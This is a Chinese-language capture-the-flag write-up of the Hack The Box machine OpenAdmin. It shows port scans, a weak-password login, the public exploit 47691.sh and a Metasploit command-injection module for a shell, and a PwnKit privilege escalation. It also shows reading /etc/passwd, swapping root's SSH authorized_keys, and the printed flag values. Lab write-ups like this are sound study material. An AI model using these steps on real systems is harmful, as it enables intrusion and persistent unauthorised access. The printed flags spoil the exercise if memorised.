HTB:OpenAdmin[WriteUP]

时间:2024-11-17 07:08:02

目录

连接至HTB服务器并启动靶机

使用nmap对靶机TCP端口进行开放扫描

继续使用nmap对靶机22、80端口进行脚本、服务扫描

使用Dirbuster对靶机网页路径进行递归扫描

​编辑

尝试在searchsploit中搜索改WebAPP漏洞

横向移动(其实没有横)

启动Metasploit

特权提升

USER_FLAG:8dc61b4d9177f837003a7c2e18cecb6e

ROOT_FLAG:2f88f1cd2398dc8b2fb60afc559b22e0


连接至HTB服务器并启动靶机

靶机IP:10.10.10.171

分配IP:10.10.16.7


使用nmap对靶机TCP端口进行开放扫描

nmap -p- -sS --min-rate=1500 -T5 -Pn 10.10.10.171

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- -sS --min-rate=1500 -T5 -Pn 10.10.10.171
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-12 01:10 EST
Warning: 10.10.10.171 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.171 (10.10.10.171)
Host is up (0.092s latency).
Not shown: 60052 closed tcp ports (reset), 5481 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 68.02 seconds

继续使用nmap对靶机22、80端口进行脚本、服务扫描

nmap -p 22,80 -sCV 10.10.10.171


使用Dirbuster对靶机网页路径进行递归扫描

使用合适的字典,这里扫到一个登录页面

使用浏览器直接访问改页面,直接一个弱口令就进来了

进入后台,在面板左上角可以看到当前的OpenNetAdmin版本为:18.1.1

尝试在searchsploit中搜索改WebAPP漏洞

searchsploit opennetadmin 

查看该EXP代码

cat 47691.sh

经过简单代码审计,这里将url变量修改为靶机登录URL即可

直接运行该脚本getshell

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ./47691.sh
$ whoami
www-data
$ ls
config
config_dnld.php
dcm.php
images
include
index.php
local
login.php
logout.php
modules
plugins
winc
workspace_plugins


横向移动(其实没有横)

查看系统内的用户

cat /etc/passwd

由输出可知,允许交互登录的用户有:joanna、jimmy、root

(截这张图后过了一小时试了MSF提权)本来想着这里手工提权的,但是后来MSF提权还挺顺利


启动Metasploit

msfconsole

搜索opennetadmin相关的利用模块

search opennetadmin

使用该模块

use exploit/unix/webapp/opennetadmin_ping_cmd_injection

这里需要配置好参数:RHOSTS、TARGETURI、URIPATH、LHOST、LPORT、PAYLOAD

注意这里的PAYLOAD我标红了,一定要使用符合系统x64的payload不然无法反弹shell!!!

这里发送PAYLOAD超级慢,应该是正常现象。。。吧?


特权提升

拿到了low权的Meterpreter之后切换到提权扫描模块

use post/multi/recon/local_exploit_suggester

这里经过多次试错后,成功利用linux/local/cve_2021_4034_pwnkit_lpe_pkexec模块提权

其实到了这一步,利用Meterpreter的search功能已经能查看两个flag了


但是此时出现了一个我感觉很奇怪的问题,明明在Meterpreter中执行getuid命令

回显为:Server username: root

但是使用shell命令切换到终端后,执行whoami命令却显示www-data

meterpreter > getuid
Server username: root
meterpreter > shell
Process 9064 created.
Channel 4 created.
whoami
www-data

于是我尝试在本地使用ssh-keygen生成一对密钥对,将靶机的authorized_keys文件进行替换

这里将root.pub文件名修改为:authorized_keys

Meterpreter中进入/root/.ssh目录下

meterpreter > cd /root/.ssh
meterpreter > ls
Listing: /root/.ssh
===================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100600/rw-------  0     fil   2019-11-21 08:45:07 -0500  authorized_keys

将authorized_keys删除

rm authorized_keys

meterpreter > rm authorized_keys
meterpreter > ls
Listing: /root/.ssh
===================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----

                                                                                              

将我们用ssh-keygen生成的authorized_keys文件上传至靶机

upload authorized_keys

meterpreter > upload authorized_keys
[*] Uploading  : /home/kali/Desktop/temp/authorized_keys -> authorized_keys
[*] Uploaded -1.00 B of 399.00 B (-0.25%): /home/kali/Desktop/temp/authorized_keys -> authorized_keys
[*] Completed  : /home/kali/Desktop/temp/authorized_keys -> authorized_keys
meterpreter > ls
Listing: /root/.ssh
===================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  399   fil   2024-11-12 03:40:14 -0500  authorized_keys

攻击机通过SSH私钥文件直接通过SSH服务登录ROOT用户

ssh -i root root@10.10.10.171

查找user_flag、root_flag位置并查看其内容

root@openadmin:~# find / -name 'user.txt'
/home/joanna/user.txt
root@openadmin:~# find / -name 'root.txt'
/root/root.txt
root@openadmin:~# cat /home/joanna/user.txt
8dc61b4d9177f837003a7c2e18cecb6e
root@openadmin:~# cat /root/root.txt
2f88f1cd2398dc8b2fb60afc559b22e0

USER_FLAG:8dc61b4d9177f837003a7c2e18cecb6e

ROOT_FLAG:2f88f1cd2398dc8b2fb60afc559b22e0